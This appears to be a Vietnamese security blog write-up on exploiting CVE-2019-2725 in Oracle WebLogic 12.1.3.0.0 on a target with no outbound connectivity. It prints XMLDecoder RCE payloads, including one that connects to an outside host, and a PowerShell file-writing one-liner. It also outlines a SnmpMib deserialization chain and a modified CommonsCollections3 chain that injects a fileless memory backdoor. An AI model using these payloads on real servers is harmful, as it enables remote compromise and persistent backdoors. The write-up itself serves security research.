CVE-2019–2725 Revisited

Peterjson
tradahacking
Published in
6 min readFeb 20, 2021

--

challenge accepted :D

INTRO

Hi guys! Lần này mình sẽ mang tới cho các bạn 1 case mình thấy khá là hay ho nên muốn viết write-up chia sẻ về case này. Context của target mình gặp phải là một site dính CVE-2019–2725 NHƯNG

  • Weblogic version 12.1.3.0.0
  • target này không có bất kỳ outbound connection connect được ra ngoài
  • được config reverse proxy qua IIS
  • giả sử có thể chạy được command blind nhưng cũng không biết webroot hoặc webroot không có quyền write

Bài blog này mình sẽ trình bày về quá trình mình tiếp cận và tìm ra một cách exploit khác cho bug này, phù hợp hơn với những case mà env được config khá là kĩ và cũng không đi sâu chi tiết phân tích về bug này nữa!

APPROACH

Đầu tiên, mình nghĩ đến 1 bug đình đám qua HTTP gần đây của Weblogic, do đợt này mình làm cùng anh Jang nên cũng có PoC và nắm rõ workflow. PoC này thì chỉ cần 1 GET request là RCE và response qua HTTP Response rồi, nhưng vẫn fail. Mình nghĩ có thể là do việc setup reverse proxy qua IIS nên mình gặp vấn đề về encode. Mình cũng đã dựng lại env mà test thử PoC nhưng chợt nhận ra class ShellSession không tồn tại trong classpath của version 12.1.3.0.0 nên cách tiếp cận này mình sẽ bỏ qua

CVE-2019–2725

Bài blog này phân tích khá chi tiết về bug các bạn có thể xem qua tại đây

Hoặc

Bug XmlDecoder này của Weblogic có thể tóm tắt lại như hình sau

Kể từ sau CVE-2017–10271 Weblogic đã patch cho validate trước khi XMLDecoder như sau

và CVE-2019–2725 sử dụng <class> tag để instantiate một class nào đó (sound like Weblogic GET request RCE :D). Đây là 1 payload ví dụ, điều này có nghĩa là bất kỳ class nào có public constructor và args phù hợp ta có thể sử dụng tiếp để đi tới những sink khác.

<java>
<class>
<string>java.net.Socket</string>
<void>
<string>ahihi.peterjson.pw</string>
<int>80</int>
</void>
</class>
</java>

Building the exploit

Đây là payload CVE-2017–10271

<java class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/></void>
</java>

nhưng bản patch đã validate lại tag <void> chỉ có thể đi với attribute index, <array> tag chỉ có đi với attribute classbyte. Theo bài blog thì Weblogic version 12.1.3.0.0 chúng ta có thể sử dụng org.slf4j.ext.EventData để trigger thêm một lần XMLDecoder nữa và lần này không dính filter gì cả

Và đây là payload CVE-2019–2725

<java>
<class>
<string>org.slf4j.ext.EventData</string>
<void>
<string><![CDATA[___XMLDecoder_Payload___]]></string>
</void>
</class>
</java>

Như vậy thì chúng ta có thể run được CMD trên server rồi, mình cũng có thử run powershell tìm 1 static file (jndinavtree.css) và write webshell nhưng chỉ có thể thành công ở env debug mình setup, còn target thì fail (khả năng là user không có quyền write :( )

Get-PSDrive -PSProvider FileSystem | % {Get-ChildItem -Path $_.Root -Filter jndinavtree.css -Recurse -ErrorAction SilentlyContinue -Force | % { echo pwn1337 > ($_.Directory.FullName + \"\hi.txt\")}}

The new gadget

Và từ đợt analysis CVE-2020–14482 cũng có vài chain có triển vọng, và đây là chain cần xài :D

Thanks @Jang for such a nice tool :D
monfox/toolkit/snmp/agent/SnmpMib.<init>(Ljava/lang/String;)V 
monfox/toolkit/snmp/metadata/SnmpMetadata.load(Ljava/lang/String;)Lmonfox/toolkit/snmp/metadata/SnmpMetadata;
monfox/toolkit/snmp/metadata/SnmpMetadata.loadBean(Ljava/io/InputStream;Ljava/lang/String;)Lmonfox/toolkit/snmp/metadata/SnmpMetadata;
java/io/ObjectInputStream.readObject()Ljava/lang/Object;

Chain này có thể load serialized file từ file trên target hoặc remote file của attacker

Vì target kia, không có outbound connection ra ngoài nên mình sẽ phải tìm cách write một serialized file chứa gadget RCE của mình, và dùng chain SnmpMib để trigger deserialize

IDEA

  1. write serialized vào C:\Users\Public hoặc /tmp tùy target là Windows hay Linux
  2. XMLDecoder -> SnmpMib contrustor -> ObjectInputStream.readObject() -> bất kì gadget RCE chain on weblogic

Ban đầu mình chọn chain đã build sẵn từ CVE_2020_2883 -> JavaScriptEngine.eval() (RCE và response output qua HTTP) NHƯNG đời không như là mơ :(

Trong quá trình analysis thì mình nhận ra, entry point này là một SOAP Handler 1 way message và bất cứ Soap request hợp lệ nào thì server sẽ response như thế này

weblogic.wsee.async.AsyncResponseHandler
weblogic.wsee.connection.transport.servlet.HttpServerTransport

Với cách exploit deserialize và response output cmd qua HTTP thì chúng ta đã fail vì server đã response trước khi cả deserialize nên vẫn không có triển vọng. Mình có tìm thử qua document xem thử có cách nào disable one-way message trong SOAP request không nhưng cũng không được. Nếu bạn nào có idea về chỗ này thì cho mình biết nhé :D.

The Ultimate Chain

Với kinh nghiệm làm qua một số case có môi trường không có outbound connection cũng như là viết exploit Deserialize, custom exploit mình đã nghĩ đến một cách generic hơn.

Mình có từng đề cập về một cách inject một memory shell như một filter của webapp trên Weblogic trong bài blog trước, các bạn có thể đọc lại

Vì mình đã làm qua cách này rồi nên việc reuse lại cũng rất nhanh, ở đây mình chọn chain load bytecodes (TemplatesImpl.getOutputProperties())do mình đã build sẵn từ đợt trước. WebLogic version 12.1.3.0.0 không có Commons-beanutils nên mình không thể xài chain BeanUtils để trigger getter được, nên mình đã chuyển qua tìm 1 chain khác trong ysoserial mà có thể trigger getter của TemplatesImpl

Có rất nhiều chain và mình chọn CommonsCollections3, nhưng chain này sẽ fail khi target sử dụng JDK version cao bởi vì AnnotationInvocationHandler đã có một số thay đổi từ version 8u72 trở lên nên dẫn đến việc Chain CommonsCollections3 sẽ fail

và đây là cách giải quyết https://github.com/frohoff/ysoserial/issues/17

Đây cũng là workaround cho ra đời CommonsCollections5, cho nên chúng ta cần edit lại CommonsCollections3 theo cách workaround trên

modify CommonsCollections3 for higher JDK Version
TemplatesImpl fileless backdoor

Final exploit

  1. write the serialized payload using CVE-2019–2725
  2. trigger monfox.toolkit.snmp.agent.SnmpMib public constructor
XMLDecoder   monfox.toolkit.snmp.agent.SnmpMib public constructor       ObjectInputStream.readObject()           CommonsCollections3 chain               inject fileless backdoor

Demo

END

Cảm ơn mọi người đã đọc đến đây.

Happy New Year, wish you all the best !!!

--

--